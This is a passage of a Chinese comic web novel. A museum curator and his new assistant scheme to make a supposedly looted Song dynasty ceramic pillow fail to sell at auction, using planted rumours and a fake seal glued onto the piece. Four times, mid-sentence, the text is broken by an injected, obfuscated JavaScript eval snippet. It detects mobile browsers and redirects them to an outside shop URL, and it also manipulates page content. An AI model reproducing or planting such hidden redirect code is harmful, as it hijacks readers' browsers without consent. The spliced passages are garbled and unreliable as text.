毕馆长进了办公室,还是先倒了两杯红酒,递给甘文一杯,然后走到办公桌前,拿起一份文件夹。 “这是我最近找到的目标,你看一下资料,准备准备就去吧。” 甘文:“……” 高仿古董还要收集?拿上钱找人做,凭你毕馆长钱多烧手的财力,还怕填不满陈列柜? 虽然这么想,但显然不能这么说,你是老板你最大,我是助理我跑腿,这就是职业素养。 抱着这样的念头,他打开文件夹,里头就夹着薄薄一张纸,上头写着:北宋定窑孩儿枕,世嘉拍卖会春季拍压轴拍品之一,时间四月二十二号下午一点半,地点S市世嘉拍卖行三号厅,入场押金一百万。 甘文虽然是个外行,但昨天一晚上的恶补也不是没有收获,至少这个世嘉拍卖行的大名他是知道的,国内数一数二的大拍卖行,一年举行三次拍卖会,分别是春季、秋季和冬季拍卖会,从拍卖行成立至今二十年间,还没有传出过世嘉拍卖行的负面新闻,也就是说,这家拍卖行没有拍卖过赝品,准确的说,是没有被人爆出过这类新闻。 “毕馆长,你是想照着这件拍品,仿制一件孩儿枕吗?” 甘文小心的问,总不能是去把真品拍回来吧。 毕馆长冷笑一声,道:“不,让它流拍。” “???”甘文一脑门子的问号,流拍?为啥啊? “还有问题?”毕馆长一眼看过来。 甘文一缩脖子,合上文件夹,老老实实道:“我去查拍卖流程。” 没干过这活儿,让拍品流拍该怎么做,先查查资料再说,反正,离拍卖会还有七天,他有时间准备。 不过,让孩儿枕流拍和收集展品之间,有什么必然的联系吗? 甘文又糊涂了,可惜,他没勇气回头去问。脑抽的馆长做出的脑抽决定,他这个助理只能跟着脑抽的去做准备。 5. 第 5 章 怎么才能让一件拍品流拍? 甘文查了查资料,有三种可能,第一种最保险,就是出高价拍下,然后拒不付款。当然最保险的方法,肯定也是最不划算的,这么干,不但要损失一百万的竞拍押金,还得交纳一笔违约金,最重要的是还有信誉上的损失不可估量。虽然毕馆长钱多烧手,未必会在乎,但在摸不清馆长真正的目的的情况下,甘文觉得自己身为试用期的助理,还是不要让馆长损失太多比较好,尤其是信誉上的损失,又不像钱,随时能再赚回来。 所以最保险的方法,第一个被他PASS。那就看第二种方法好了。第二种方法就是忽悠拍品的主人,给拍品定个超高价起拍,就是那种一看就让人觉得不值这个价的超高价。可甘文连这件拍品是谁送拍的都不知道,拍卖行的人肯定也不会对他透露,想忽悠也找不到正主儿。 那就只剩下第三个方法了,忽悠不到正主儿,但可以忽悠竞拍人,只要让所有的竞拍人相信这件拍品是赝品,哪怕它的起拍价标个百八十的超低价,估计都没有人多看一眼。 嗯,就是第三个方法了,微妙的契合了甘文的专业能力,他一学平面设计的,上一份工作就是做平面广告,什么是广告?就是忽悠大众嘛……咳咳,不,是广而告之,广告成功与否,就看它能不能让人相信。瞧,这和第三个方法是不是有共通之处。 碰上专业问题,甘文一扫之前所有的沮丧想法,来劲儿了,摩拳擦掌,打开电脑,准备先写一份广告策划,啊不,是流拍方案,供毕馆长审查实施。 首先,写上百八十篇的软文,发到各大有名的古董收藏相关网站上,制造舆论,让人怀疑那只孩儿枕的真实性,嗯,这个不用花钱找人,写软文他也拿手的。 其次,最好再找几个专家教授来虚虚实实的附和几句,这个出钱就能搞定,而且绝对比方法一花的钱要少得多,还不用馆长赔上信誉。 再次,嗯,问问馆长认不认识收藏界的大藏家,最好是有交情的那种,光专家教授出来说话还不够,谁都知道现在很多专家的别称是“砖家”,教授的别称是“叫兽”,水分太大,含金量太低,只能忽悠些普通人,用来制造声势勉强够用,真正要让有竞拍能力的人生出退意,还得大藏家发话,也不用说得太透,棱模两可就行了。如果馆长大人愿意自己献身说法,做为收藏界最醒目的反面例子……咳咳,这一句划掉,当他没说。 第四…… 就在甘文奋笔疾书……奋手打字的时候,一股浓浓的酒香涌来,一下子就熏得他头重脚轻,什么灵感都没有了。 “哟,小甘,入职第一天就这么卖力,馆长真没白请你啊。”袁枚一开口,酒气更浓。 被酒气熏得写不下去了,甘文只好转身笑着招呼一声:“袁哥好。” 不管年纪大小,叫声哥不会错,他一新来的,没那么大的脸老袁老袁的叫着。 袁枚果然被这一声哥叫得眉开眼笑,手上提着个矿泉水瓶,往甘文的办公桌上一放。 “瞧老袁我给你带了什么好东西来。” 甘文迟疑了一下,这瓶子眼熟,道:“农夫山泉?”其实他比较喜欢怡宝这牌子。 袁枚哈哈大笑:“真是个老实的年轻人。” 他一边笑一边拧开矿泉水盖子,一股浓郁的酒香飘出来。 甘文:“……” 拿矿泉水瓶子装酒,敢问是哪里的店,卖分装酒都舍不得弄个正式点的酒瓶? 袁枚吸了吸鼻子,在酒香中陶醉了一会儿,才又拧上盖子,道:“这是老袁我珍藏了七百年的绝世佳酿,平时都舍不得喝,连馆长都没份儿,得亏小甘你特别投我的眼缘,今晚上的入职宴,咱们不醉不休,馆长都跟着你沾光哟。” 甘文眨了眨眼,不知道说什么好。还收藏了七百年,您咋不再多吹点,咱国家有上下五千年的历史呢,听说最近的考古发现还能把这个五千年再往前推一推,七百年才哪儿跟哪儿。 “瞧你这样子,不信是吧,来来来,我先倒点给你尝一口,就一口啊,多的没有……” 袁枚不客气的揽住甘文的肩膀,把他往外拉,楼梯拐角处就有个小茶水间,里面有一次性杯子。 “哼!” 毕馆长满含威严的声音突然传来,袁枚脖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729825|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子一缩,立刻收回揽着甘文肩膀的手,同时把矿泉水瓶藏到了身后。 甘文如蒙大赦,赶紧退开几步,一眼看到毕馆长手里拿着伞,连忙道:“馆长,你要出去?” 毕馆长缓缓走下楼梯,经过甘文身前,淡淡道:“以后离酒鬼远一点。” 甘文一呆,瞥了瞥袁枚。 袁枚讪讪的,一声儿没敢吭。 “你跟我出去一趟。”毕馆长脚下没停,声音不紧不慢的传来。 甘文答应一声,连忙去他那个和陈列柜没多少区别的办公室里把才起了个头的流拍方案保存,然后才小跑着追出去。所以他没有看到,毕馆长这个时候回过头,又看了袁枚一眼,那双眼,满含警告。 甘文追上来的时候,毕馆长已经撑开伞,走在小巷中,不急不徐的步伐,挺直高大的身体,加上那身低调奢华的休闲服,自成气场,真的是连阴影都挡不住的熠熠生辉,这要是在阳光下,还不知道是怎样的夺目。 所以,馆长为什么要撑伞呢? 甘文没忍住好奇,问出了声。 毕馆长侧过头,淡淡瞥着他,直看得甘文低下头去不敢再抬起来,才道:“装逼。” 甘文:“……” 他就说,馆长是个脑抽,这么中二的行为,现在好多中二学生都不干了。尤其馆长还是特严肃的装着逼,将这股中二的气息放大百倍,教人哭笑不得。 已经有辆蓝博基尼停在小巷口,黑色的车身里面,是白色的坐椅,果然是馆长风格,不过吸引甘文的目光的,不是这辆风格明显的豪车,而是驾驶座上的司机。 “勇哥,怎么是你开车?” 司机不是别人,正是秦士勇。 “兼职。”秦士勇言简意赅。 甘文很想问勇哥你到底兼了几份职,也很想知道馆长是哪根筋不对,钱都多了能烧手,怎么用人尽招兼职的,招个全职的有那么难吗?哦,差点忘了,他自己就是个试用期的全职小助理。所以说,招个全职的员工一点儿也不难嘛。 毕馆长已经收伞上车,甘文只好收起一肚子的疑问,跟着上了副驾驶座。 6. 第 6 章 车在本市一家知名的商场停下,甘文很知趣的先下车,替毕馆长拉开车门,同时心里琢磨馆长大人要来买什么,谁知道毕馆长进了商场大门,就直接奔着商场八楼的儿童游乐场去了。 甘文大惊,难道毕馆长已经结婚了,还有了孩子?他这是合理推测,总不能猜测毕馆长连中二期都没有渡过,直接奔着儿童期去了。 毕馆长步伐大,速度快,甘文这一惊就落后了不少,赶紧一溜小跑追过去,结果就看到毕馆长从儿童游乐场里揪出个七八岁背书包的小男孩儿,揪的还是耳朵,看到小男孩儿哎哟哎哟的喊疼,甘文连忙上前救他出魔掌。 “馆长,有话好说,不能虐待儿子。” 毕馆长眼一瞪,还没有说话,小男孩儿已经跳脚大叫,道:“谁是他儿子,咱俩无怨无仇,你不要人身攻击。” 甘文:“……” 有毕馆长这样的老爸,怎么就成人身攻击了?虽然脑抽了点,装个逼都装得特中二,估计在收藏界也是个反面典型,但怎么看也算个成功人士了吧,至少范儿够。 不过没关系,甘文性格好,不在乎被个小孩子呛声,好脾气的替他揉揉耳朵,道:“是,我说错了,请你喝奶茶好不好。” 小男孩儿转怒为喜,立刻道:“要珍珠多的。” 游乐场旁边就有卖茶饮的,甘文一边说一边掏钱,转眼就捧了杯珍珠奶茶回来。 小男孩儿也不怕烫,美滋滋的喝了一大口,才瞥瞥毕馆长,道:“学着点。” 毕馆长冷哼一声,伸出手,道:“拿来。” “你这个人真没意思,求人办事连个好话都不会说。”小男孩儿老气横秋呛声,一边从背后的书包里拿出一份文件扔给毕馆长,一边对甘文道,“我瞧你人不错,跟着我干吧,他给你多少月薪,我翻倍。” 甘文:“……” 现在的小孩子真可怕,人还没长得过毕馆长的腰高,就已经懂得挖毕馆长的墙角了。小弟弟,请问你在哪间学校上的学? 毕馆长接过文件,看也没看,转手就给了甘文。 甘文连忙接过来,打开一看,顿时惊喜万分,文件里竟然是这次世嘉春季拍的所有竞拍人名单。虽然拍卖会是在七天后,但早在两个月前,世嘉拍卖行就已经开始就这次春拍进行了广告宣传,并且举办过两次展览,并在半个月前放开了竞拍登记。 “馆长,你是怎么搞到的?” 这可太意外了,有了具体的名单,他就可以去调查这些人的竞拍意向,看哪些人对孩儿枕有意,然后针对这些人的行事风格和性格特点,设计出更具体更有针对性的忽悠计划……咳,是流拍方案。 “他除了会指使人,还会什么,是我啦是我啦……”小男孩儿跳着脚,力图在甘文面前争取到存在感,个子矮没办法,就是容易被人忽略。 小弟弟别闹,甘文摸摸他的头,然后崇拜的目光继续投向毕馆长,馆长不愧是馆长,高瞻远瞩,什么事都做在前面,省了他多少工夫,他本来还打算去找来事儿帮忙查的,那小子人面广,路子多,哪儿哪儿都能钻进去,跟他打听消息很少会让人失望过。也就是他一心奔着最不适合他的娱乐圈去了,不然搁哪里都是一尾活龙,早就风生水起了。 毕馆长面不改色,对甘文崇拜的目光照单全收,淡然道:“我派了卧底去世嘉,你需要什么内幕消息,都可以问我。” “毕时鹤,你要不要脸!”小男孩儿气得脸都红了,“我出力,你领功,卧你个大头底,你过来,咱俩单挑。” 甘文有些想笑,人还没腰高,就敢放对单挑,这口气大的,真是有种反差萌,这男孩儿到底是毕馆长的什么人,敢跟毕馆长这么说话,胆量不小,他可是被馆长大人看一眼都要出一身细毛汗。 毕馆长根本不与毛孩子一般计较,目的达到,一秒不多耽搁,对甘文一抬下巴,道:“走。” 说走就走,不带走一片云彩,只带走一个甘文……等等,那小男孩儿怎么办,扔他一个人在这里? 甘文顿时就迈不开腿了,瞥了毕馆长的背影一眼,他低头对小男孩儿道:“你叫什么名字?哥哥送你回家好不好?” 小男孩儿正对着毕馆长的背影伸出中指比划,一听甘文的话,又乐了,道:“你倒是挺好心,可惜跟了个黑心的。我叫宋慈,咱俩就算认识了,今天不用你送,我自己回去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729826|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,他背起书包,也不理会甘文,蹦蹦跳跳的就走了。 甘文看着小男孩儿的背影,有些呆滞。姓宋啊,果然不是毕馆长的儿子。不过这个名字……宋慈,袁枚,都是名人啊,还都是已经作古几百年的。 哈哈,都是巧合。 有了名单好办事,甘文也不忙着写流拍方案了,直接上网查这些竞拍人,有财力进拍卖会的,不是大富大贵,也是小有家产,绝对不是什么无名之辈,查起来还是不难的,实在有查不到的,给来事儿发个消息,转头他就能把人家的祖宗八辈儿都挖出来,来事儿的人脉渠道,只有想不到,没有找不到,所以说这小子楞是一头扎进娱乐圈,真的是屈才了。 忙活了一下午,袁枚又鬼鬼祟祟的来了。 “小甘啊,我已经在鹿鸣轩定好包间,你去请一下馆长呗。” 甘文想抚额,入职宴,他差点都忘了,袁枚这么热心,他也不好意思拒绝,以后都是同事,还是必须处好关系。看看时间,也到了下班,于是关上电脑,上楼去邀请馆长大人赏脸,其实他更希望馆长大人不赏脸,就馆长大人这个范儿,往桌上一坐,哪里还热闹得起来。 可毕馆长还是拿起了伞,很赏脸。 甘文顿时就郁卒了。 鹿鸣轩算不什么高档酒店,胜在环境干净优雅,品味不错。袁枚选择这里,就一个理由,近。离展览馆不远,出了小巷,穿过马路走上三十米就到了。老袁大叔明显是这里的常客,一进门就跟大堂女经理打情骂俏的,然后被女经理推进了包间里。 “让你这里新来的服务员给上菜啊……”袁枚被推进包间还不忘嘱咐。 甘文还以为是个美女服务员,结果一会儿进来的,是个眉清目秀的小帅哥。 “……” 盯着老袁大叔对着小帅哥笑眯眯的模样,甘文背心上的寒毛全竖了起来,突然间,他理解了毕馆长为什么要让他离酒鬼远一点。 默默的,他把自己的坐位移到了毕馆长的旁边,然后任凭袁枚怎么招呼,都不挪去过半步。 随后不久,秦士勇和陶歌先后赶来,展览馆全员到齐,服务员手脚麻利的上菜。 7. 第 7 章 吃过入职宴之后,甘文算是正式入伙……咦,这话听上去好像有哪里不对。不管怎么说,饭桌文化博大精深,最能拉近人与人的距离,当然,也能拉远人与人的距离,最明显的例子就是袁枚,甘文果然是不敢再靠近他半步,倒是美女解说员陶歌果然不愧是市歌舞团的,能歌又善舞,入职宴上小露一手,就让甘文五体投地,这才是天生的明星,陶歌要是肯入娱乐圈,随便参加几场秀,肯定能迅速窜红,可惜她志不在此。 至于秦时勇,好吧,这位兼职大虾一贯的话不多,埋头猛吃,抬头猛喝,袁枚带来的那一矿泉水瓶的据说是珍藏七百年的绝世佳酿,倒有一多半进了他的肚子,气得袁枚都顾不上和小帅哥服务员说话了,好容易抢下小半瓶,藏起来死活再不肯拿出来。 甘文倒是有幸在刚上菜的时候被袁枚殷勤着主动给倒了一杯,拇指大小的杯子,都不够一口的,只是他有闻着酒气就犯晕的毛病,所以趁袁枚没注意的时候,偷偷把酒杯推到了毕馆长的跟前。 毕馆长一口没动,于是甘文有了新发现,原来馆长大人不好酒啊,哎哟哟,这回他真跟对了老板。甘文一点儿也不想告诉别人,他上一份工作之所以没干得下去,就是因为他这闻着酒气就犯晕的臭毛病,每回跟客人谈业务,都他喵的在酒桌上。 失业的那个晚上,甘文发了狠要治自己这个毛病,跑去了酒吧打算以毒攻毒,结果……不堪回首,不是来事儿及时找来酒吧把他拖回去,估摸着那一夜的酒醉灯迷下,他得失身又失财了。 总之,与同僚们增进了了解后,甘文对这份工作开始充满了乐观,第二天就爆发出十二分的热情,投入到了忽悠计划中去……咳咳,又说错了,是流拍方案中去。 世嘉拍卖行春季拍倒计时5天。 各大收藏鉴宝网页上,突然出现了很多的新鉴宝文章,主要是关于瓷器类的鉴定分析,各朝各代的瓷器都被拖出来分析了一通特色与鉴别方法,冷不丁看上去有理有据挺是那么回事,但落在资深爱好者眼里,都他喵的是扯淡,里头的分析鉴定无非就是以前各种瓷器鉴定的说法,被人改头换面又拉出来抄了一通,因为笔者精通文字游戏,所以乍一看还是很有道理,资深者不上当,但总有人被忽悠住了,毕竟,这一行能混成资深者、还货真价实的人只是少数,绝大多数都是外行看热闹,热闹看多了,混个半桶水咣当响,这半桶水比资深者要活跃得多,爱讨论,爱发言,爱现,导致名气也比资深者来得大得多。 于是,半桶水们纷纷开始在这些文章下面发表自己的看法,引来大批普通爱好者的围观,偶尔有资深者出面反驳一二,引起了争论,更是将这些文章的影响力给发散出去。 后来,不知道是谁把世嘉拍卖行的春季拍里那几件瓷器的拍品给拖出来当典型来分析,那件北宋定窑孩儿枕作为压轴之一,更是被大提特提,按照这些文章的鉴定方法一分析,卧槽,这就是件赝品啊。 世嘉拍卖行春季拍倒数第三天,爆出了大新闻,其中有一件压轴拍品,疑似赝品。 一下子网络上争论声沸反盈天,收藏爱好者们分成三派,一派反对,认为世嘉拍卖行信誉良好,从来没有过负面的新闻,不可能让赝品上拍;一派则冷嘲热讽,天下乌鸦一般黑,哪家拍卖行里没有赝品,只是人家有钱,把专家教授的嘴都用钱封住了,这里头的水有多深,潜龙号都探不着底,得多天真才相信这世上真有白乌鸦啊;还有一派则保持中立,我不吭声,我就看看。 一般来说,不吭声的人里头,才有真正的明白人,世嘉拍卖行从来不让赝品上拍?呵呵。明白人从来不说明白话,懂得沉默是金的人才能活得长久。 所以甘文的流拍方案,在实行到第二步的时候就卡壳了,因为他找不到敢收钱出来说话的“砖家叫兽”。这一行里,没人是傻子,世嘉拍卖行能混到行内数一数二还没有负成\\新闻的程度,靠的可不止是钱,人家实力雄厚,背景还深,得罪了世嘉拍卖行,他们还能在这一行混饭吃吗?事关饭碗,给多少钱都不敢冒头啊。 说到底,还是甘文对这一行了解不深,方案出了大破绽。所以他老老实实找毕馆长承认错误,并提出了另一个解决方案。 “馆长,你安排在世嘉拍卖行里的卧底,有没有机会接触到那件孩儿枕?” 其实要证明孩儿枕是赝品还有个更简单的方法,就是在隐秘的地方,直接给它盖个高仿章。当然,不是内部有人这个方法也不管用。 就是这个主意有点儿缺德,甘文提出来的时候,颇有点良心上过不去,万一那是件真品,他可就把孩儿枕的主人给坑惨了,世嘉拍卖行也要倒大霉,这无怨无仇的,真过意不去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729827|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以甘文挺希望毕馆长说一句不能。 毕馆长淡淡瞥他一眼,吐出两个字:“可以。” 甘文:“……” 馆长你有这样厉害的卧底,还要他这个小助理想什么方案啊,一早给敲给个高仿章不就行了? “馆长,你有没有觉得这法子有点不道德?”他小心翼翼的问。 毕馆长又看了一眼,道:“你知道那件孩儿枕的来历吗?” 甘文一愣,老实的摇头。 “几年前,有人从一座宋墓里盗出它,几经辗转,在被人盗卖到国外前,有个考古专家散尽家财买下了它,谁知道还没来及得把它捐献给国家博物馆,考古专家就中了风,瘫痪在床,因为家财散尽,连治病的钱也没有,没两年就死了。临死之前,他还不忘叮嘱儿子,一定要把孩儿枕捐献给国家,他的儿子遵从遗嘱,带着孩儿枕去捐献,却被鉴定成赝品,后来,有人用几百块钱就买走了这件‘赝品’。” 说到这里,毕馆长冷笑了一声。 甘文被笑声一惊,知道这里头肯定有别的文章,忍不住问道:“后来呢?” “后来?”毕馆长嘴角一抿,冷冷道,“后来就是你看到的,这件孩儿枕出现在世嘉拍卖行的春季拍上,还是压轴品之一。” 甘文愣了一会儿,才恍悟过来,一拍大腿道:“我明白了,考古专家的儿子是被人给坑了,鉴定有问题对不对?那个买走孩儿枕的人,肯定跟鉴定人有关系,他们联手设了个坑儿。” 毕馆长欣赏的看了他一眼,点头道:“你脑子转得还算快。那个鉴定孩儿枕的人,还有个身份,是世嘉拍卖行的特邀鉴定师。” 所以世嘉拍卖行在这里头绝对不是无辜的,这收藏行里,果然处处是坑,防不胜防。 甘文再不提什么道德不道德,转头就找人用软陶捏了个高仿章,又买了瓶502胶水,交给毕馆长。剩下的,就看那个卧底的本事了。 世嘉拍卖行春季拍倒数第2天。 拍卖行负责人出面招开新闻会,澄清网络传闻,并特别开放展厅,将那件孩儿枕拿出来供人鉴赏,邀请多位专家当场鉴定真伪,新闻直播。 于是在高清镜头下,一枚隐藏在角落里的高仿章就这么大喇喇的出现在镜头里,清楚得连做好了闭着眼睛说瞎话的心理准备的专家都哑口无言。 8. 第 8 章 世嘉拍卖行春季拍倒数的最后一天,拍卖行的危机公关负责人郑河出面,再一次召开了新闻会,当场把孩儿枕上那个用502胶水粘上去的软陶高仿章,用化学药水给揭了下来,以证明这是有人故意陷害世嘉拍卖行,搅乱拍卖秩序,搞恶性竞争,世嘉拍卖行在此郑重警告那些不法之徒,拍卖是一项庄严并且神圣的商业活动,世嘉拍卖行入行二十年,以信誉为本,绝不拍卖赝品,面对任何恶性竞争,世嘉拍卖行绝不退缩,绝不宽恕,必须追究到底,这次陷害事件,世嘉拍卖行将请警方涉入处理,澄清自身清白。 最后,世嘉拍卖行还通知所有的竞拍人,明天的春季拍将如期正常举行。 甘文没有看到世嘉拍卖行的危机公关,因为这个时候,他正跟着毕馆长到一位大藏家的别墅里做客。 这位大藏家姓刘,在收藏行里,有个挺响亮的外号,叫做宝爷,根据甘文查到的资料,这位宝爷之所以能得这个外号,是因为他专门建了一栋收藏馆,上下四层总面积达一千五百平米,里面全是他收藏来的古董,其中国宝级的,就能装满一层,久而久之,便有人尊他一声宝爷。当然,这位宝爷的保真性有多少,收藏行里也是颇有议论的,但含金量却是妥妥的毫无疑问。 这个“金”,指的是真金白银。曾经有人对这栋收藏馆里的古董做过估价,十亿是保底价,这已经是十几年前的事,如今古董收藏热连着兴起了好几波,古董的身价也是翻了又翻,这十亿保底价的古董,拿出来上拍卖场,再找个懂行的人炒作一番,拍出几百亿也不稀奇。 当然,前提是,都得是真货。 宝爷和毕馆长是熟人,这一点从毕馆长事前连个电话联系都没有就直接让秦士勇把车开进了宝爷的别墅就可以看出来。 “哈哈哈,毕老弟,稀客啊稀客,今天是什么风把你给吹来了?” 宝爷亲自从别墅里出来迎客,这让甘文很意外,自家这个还处在中二期的脑抽馆长,在外面居然这么有面子。 毕馆长下了车,不紧不慢的撑起他那把装逼的黑伞,上前跟宝爷握了握手,直接了当道:“我是为了明天的世嘉春季拍而来。” “哈哈哈,毕老弟你对古董的兴趣大家都知道,来来来,进去谈。” 宝爷豪爽痛快,一转身才注意到跟在毕馆长身后的甘文,意外道:“这位是?” 甘文伸出手,道:“宝爷您好,我是甘文,馆长的助理。” 宝爷跟他一握,还晃了两下,笑道:“不错,年轻人有眼光,跟了毕老弟以后肯定大展鸿图。” “借您吉言。”甘文得体的微笑,这话宝爷不是第一个对他说的人,最先在他面前肯定毕馆长不凡的是来事儿。这么一看,宝爷和来事儿也就处于同一水平嘛,于是他稍稍有些紧张的心情,立刻就得到了缓解,暗暗打量宝爷。 既然称之为爷,那多半就是爷爷辈的人了,资料上说宝爷今年已经六十有三,但从面相上看,顶多五十出头,保养得相当不错,而且不像一般富豪那样,挺着个老大的啤酒肚,宝爷的身材虽然隐藏在衣服之下,但还是能看得出他的身板儿非常健硕,这要是从背后看,说他三四十都会有人信,很多这个年纪的人,还没有他这股精气神呢,最明显的反例,就是老袁大叔。入职宴上,老袁大叔自称男人四十一枝花,但从侧面看,跟六十也没有多大的区别。 宝爷的别墅是典型的中式装修风格,典雅中不失华贵,古韵十足,每件家具摆设,看上去都透着浓浓的文化气息,应该都是古董来着,当然,真假就不是甘文能判断得出来的。反正进来之后,宝爷吩咐他的美女助理上茶,然后就拿出几件新收的小件古董,和毕馆长有板有眼的讨论起来,甘文也插不上嘴,就坐在旁边一边品茶一边旁听,基本上也听不太懂。 把几件古董小件都讨论完了,宝爷才心满意足的进入正题。 “毕老弟,这次的世嘉春季拍,你对哪件拍品感兴趣?说出来,老哥帮你参详参详。” “孩儿枕。”毕馆长淡淡道。 宝爷一愣,然后指着毕馆长大笑道:“你啊你啊,怎么还是老样子,怎么,这回又是希望我让着你?” 甘文在旁边听了,突然间恍然大悟,总算知道毕馆长为什么带他来找宝爷,因为宝爷正是他从竞拍人名单上排查出来的五位最有可能竞拍孩儿枕的对手之一。收藏到了宝爷这个级别,自有一支鉴定专家队伍,是不会受外面的舆论影响的,他那个拍卖方案,只能忽悠一般的竞拍人。 所以毕馆长这是亲自出马,劝宝爷放弃竞拍孩儿枕,以宝爷在收藏行的地位,他一放弃,其他竞拍人怕就没人敢再打孩儿枕的主意了。 他这里浮想联篇,毕馆长却仍是神色淡淡,道:“我很看好孩儿枕。” 宝爷痛快极了,一拍大腿,道:“好,毕老弟你既然开了这个口,老哥我没二话,绝对不跟你争。” 说完,一招手,对身后的美女助理道:“放出风去,就说那只孩儿枕,我不拍了。” 毕馆长站起身,对着宝爷点点头,道:“多谢,告辞!” “瞧你,咱哥儿俩谁跟谁,还说什么谢,行,知道你是大忙人,老哥我就不留你了,改日约你出来品茶。” 宝哥又很给面子的亲自送毕馆长出了别墅大门,坐上车离开别墅后,甘文一脸不可思议的看着毕馆长。 “馆长,这就行了?” 真是好大的面子,看来他得重新估量毕馆长的能量了,瞧宝爷那痛快样儿,恐怕就是本市市长亲自登门,也没么容易吧。 毕馆长闭目养神,没说话。 甘文识趣的闭嘴,但丰富的内心却不能停止活动,自发自动的给馆长大人套上一层又一层光环。 回到展览馆,秦士勇就又去赶戏了,他今天还有一场戏要拍,甘文看着他把馆长的蓝博基尼开去了影视城,一时无语,他无法想像剧组的人看到这辆车后,该用什么眼神去打量秦士勇。 毕馆长上了二层的办公室就再没有出来,甘文还记着世嘉拍卖行的反应,赶紧打开电脑搜索,没费什么力气就找到了世嘉拍卖行刚刚发布的危机公关新闻会的视频。 居然……被发现了?好吧,拿502胶长粘高仿章,本来就不是什么高明之举,昨天的新闻发布会上,只要那些专家仔细检查,肯定能当场就戳穿,哪里用得着今天再来危机公关,关键是,当时在场的专家们应变能力太差,没能及时反应过来。 但这并不是重点,世嘉拍卖行的危机公关做得再好,毕竟不是当场戳穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729828|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可信度上就弱了一层,看下面的评论,观者大多还是将信将疑的,都期待着警方能查出个真相来。 所以重点是,警方介入了啊。 甘文后悔不迭,他真不是个干坏事的料,考虑得就是不周全,赶紧上楼,把情况跟毕馆长交待清楚,紧张兮兮的问道:“馆长,都是我的错,瞎出什么馊主意,你那个卧底……万一被查出来怎么办?” “慌什么,还有我。”毕馆长淡淡瞥了他一眼,下巴一抬,“没什么事,出去吧。” “可是……”甘文还想说什么,可是一对上毕馆长那双无限威严的眼,他脑子一空,再清醒过来时,人已经在楼下了。 “小甘啊,你怎么魂不守舍的,我都叫你几声了。”袁枚不知什么时候凑了过来,一身酒气熏得甘文脑子又开始发晕。 “袁哥……”甘文迟疑了一下,才将事情经过告诉袁枚,然后不安的问道,“我是不是做错了?” 袁枚趁着他心神不定的时机揉揉他的头,严肃的点头,道:“你确实做错了,错估了事情的严重性,用的方法也不够正当,虽然世嘉拍卖行不是什么好东西,但要教训它,得用正确的、合法的方法。如果馆长的卧底是个寻常人,这次就被你坑惨了。” 甘文被他重重一击,整个人都颓了,咬了咬牙根,道:“我自首去。” 袁枚“哎”了一声,把他又拖回来,道:“小甘啊,别冲动,我还没说完呢。馆长的卧底能是寻常人吗?放心放心,警方要是能查出他来,以后老袁我跟你姓。” 甘文:“……” “来来来,坐下说,咱们是吃过入伙饭的,老袁今天跟你交个底,你别把馆长当人看,他就不是个人……咳咳,我的意思是,非常人行非常事,收藏行里坑蒙拐骗的事情太多了,你跟着馆长少不了接触这些,有时候用点非常规手段也无可厚非,只要别生坏心,莫忘初衷,给坏蛋应有的教训,其他的事儿,都有馆长和老袁我替你抗了,莫怕莫怕。” 甘文眨了眨眼睛,道:“馆长确实能量很大,我今天跟他去见宝爷,馆长就一句话,宝爷说退出孩儿枕的竞拍就退出,连个顿儿都没打。” 说到这里,他心下稍安,以馆长的能量,这件事应该是能私了的,他得镇定,不能自己吓自己。现在再回想起馆长那句“慌什么,还有我”,简直不能更安心。 袁枚捧着肚子哈哈大笑起来,简直就是要不顾形象在地上打滚。 “小、小甘啊……你你真是……哈哈哈,乐死我了……” 好容易笑够了,他才又拍拍甘文的肩膀。 “告诉你一个秘密,馆长在行内是出了名的‘一眼假’,凡他说看好的古董,基本上都是赝品。你以为宝爷为什么连个顿儿都没打就退出竞拍?谁都不是傻子。” 甘文:“……” 收藏行里,还有没有点诚信可言?宝爷可真不是什么善茬儿,怪不得他应得那么爽快,还主动放出风去,这是借馆长的名头给自己捞人情呢吧,别的有意竞拍孩儿枕的人,得多感激宝爷啊。 